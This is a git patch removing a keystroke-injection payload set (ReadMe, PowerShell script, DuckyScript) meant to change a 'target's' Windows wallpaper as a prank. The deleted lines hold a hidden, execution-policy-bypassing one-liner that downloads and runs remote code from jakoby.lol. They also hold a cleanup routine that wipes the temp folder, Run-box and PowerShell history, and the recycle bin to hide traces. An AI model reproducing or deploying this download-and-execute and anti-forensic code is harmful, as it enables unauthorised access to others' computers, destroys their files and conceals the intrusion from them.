From 51b2b62870ade1bf4ed5d52c9733763d87f0743d Mon Sep 17 00:00:00 2001 From: I-Am-Jakoby Date: Tue, 25 Jul 2023 16:27:09 -0500 Subject: [PATCH] Delete Payloads/Flip-WallPaper-URL directory --- Payloads/Flip-WallPaper-URL/ReadMe.md | 112 ------------------ Payloads/Flip-WallPaper-URL/Wallpaper-URL.ps1 | 103 ---------------- Payloads/Flip-WallPaper-URL/Wallpaper-URL.txt | 16 --- 3 files changed, 231 deletions(-) delete mode 100644 Payloads/Flip-WallPaper-URL/ReadMe.md delete mode 100644 Payloads/Flip-WallPaper-URL/Wallpaper-URL.ps1 delete mode 100644 Payloads/Flip-WallPaper-URL/Wallpaper-URL.txt diff --git a/Payloads/Flip-WallPaper-URL/ReadMe.md b/Payloads/Flip-WallPaper-URL/ReadMe.md deleted file mode 100644 index 34a4c96..0000000 --- a/Payloads/Flip-WallPaper-URL/ReadMe.md +++ /dev/null @@ -1,112 +0,0 @@ -![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true) - - -
- Table of Contents -
    -
  1. Description
    2. -
  2. Getting Started
    3. -
  3. Contributing
    4. -
  4. Version History
    5. -
  5. Contact
    6. -
  6. Acknowledgments
    7. -
-
- -# Wallpaper-URL - -This payload will download an image from any URL and set it as the target's wallpaper. - -## Description - -Use this program to troll your friends. Find any image online and grab the URL and insert it into the PS1 script. -Run this payload and step away. Once a mouse movement is detected, their wallpaper will change right in front of their eyes. -Lastly, to clean up your tracks behind you, the tmp folder will be emptied and the PowerShell and run box history will be wiped. - - -## Getting Started - -### Dependencies - -* Windows 10,11 - -

(back to top)

- -### Executing program - -* Plug in your device -* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory -* Place your images URL in the $url variable -``` -powershell -w h -NoP -NonI -Exec Bypass $url='URL-HERE';irm jakoby.lol/pkw | iex -``` - -

(back to top)

- -## Contributing - -All contributors names will be listed here - -I am Jakoby - -

(back to top)

- -## Version History - -* 0.1 - * Initial Release - -

(back to top)

- - -## Contact - -

📱 My Socials 📱

-
- - - - - - - - -
- - C# - -
YouTube - 		- - Python - -
Twitter - 		- - Golang - -
Instagram - 		- - Jsonnet - -
Discord - 		- - Jsonnet - -
TikTok -
-
- - - -

(back to top)

- - -## Acknowledgments - -* [Hak5](https://hak5.org/) -* [MG](https://github.com/OMG-MG) - -

(back to top)

diff --git a/Payloads/Flip-WallPaper-URL/Wallpaper-URL.ps1 b/Payloads/Flip-WallPaper-URL/Wallpaper-URL.ps1 deleted file mode 100644 index c287a83..0000000 --- a/Payloads/Flip-WallPaper-URL/Wallpaper-URL.ps1 +++ /dev/null @@ -1,103 +0,0 @@ -# URL is for if you want to host your own copy of this payload - -#$url = "" - - -$wp = "$Env:tmp\---wp.png" - -iwr $url -O $wp - -Function Set-WallPaper { - -param ( - [parameter(Mandatory=$True)] - # Provide path to image - [string]$Image, - # Provide wallpaper style that you would like applied - [parameter(Mandatory=$False)] - [ValidateSet('Fill', 'Fit', 'Stretch', 'Tile', 'Center', 'Span')] - [string]$Style -) - -$WallpaperStyle = Switch ($Style) { - - "Fill" {"10"} - "Fit" {"6"} - "Stretch" {"2"} - "Tile" {"0"} - "Center" {"0"} - "Span" {"22"} - -} - -If($Style -eq "Tile") { - - New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force - New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 1 -Force - -} -Else { - - New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force - New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 0 -Force - -} - -Add-Type -TypeDefinition @" -using System; -using System.Runtime.InteropServices; - -public class Params -{ - [DllImport("User32.dll",CharSet=CharSet.Unicode)] - public static extern int SystemParametersInfo (Int32 uAction, - Int32 uParam, - String lpvParam, - Int32 fuWinIni); -} -"@ - - $SPI_SETDESKWALLPAPER = 0x0014 - $UpdateIniFile = 0x01 - $SendChangeEvent = 0x02 - - $fWinIni = $UpdateIniFile -bor $SendChangeEvent - - $ret = [Params]::SystemParametersInfo($SPI_SETDESKWALLPAPER, 0, $Image, $fWinIni) -} - -function Target-Comes { -Add-Type -AssemblyName System.Windows.Forms -$originalPOS = [System.Windows.Forms.Cursor]::Position.X -$o=New-Object -ComObject WScript.Shell - - while (1) { - $pauseTime = 3 - if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){ - break - } - else { - $o.SendKeys("{CAPSLOCK}");Start-Sleep -Seconds $pauseTime - } - } -} - -function Clean-Exfil { - -# empty temp folder -rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue - -# delete run box history -reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f - -# Delete powershell history -Remove-Item (Get-PSreadlineOption).HistorySavePath - -# Empty recycle bin -Clear-RecycleBin -Force -ErrorAction SilentlyContinue - -} - -Target-Comes -Set-WallPaper -Image $wp -Style Fill -Clean-Exfil diff --git a/Payloads/Flip-WallPaper-URL/Wallpaper-URL.txt b/Payloads/Flip-WallPaper-URL/Wallpaper-URL.txt deleted file mode 100644 index 4baa526..0000000 --- a/Payloads/Flip-WallPaper-URL/Wallpaper-URL.txt +++ /dev/null @@ -1,16 +0,0 @@ -REM Title: Wallpaper-Troll -REM -REM Author: I am Jakoby -REM -REM Description: This payload will change your targets wallpaper to an image from a provided url -REM Target: Windows 10, 11 -REM -REM -------------------------------------------------------------------------------------- -REM THIS PAYLOAD IS PLUG AND PLAY. NO MODIFICATIONS NEEDED SIMPLY RUN THE CODE DOWN BELOW. -REM -------------------------------------------------------------------------------------- -REM -GUI r -DELAY 500 -STRING powershell -w h -NoP -NonI -Exec Bypass $url='URL-HERE';irm jakoby.lol/pkw | iex -DELAY 500 -ENTER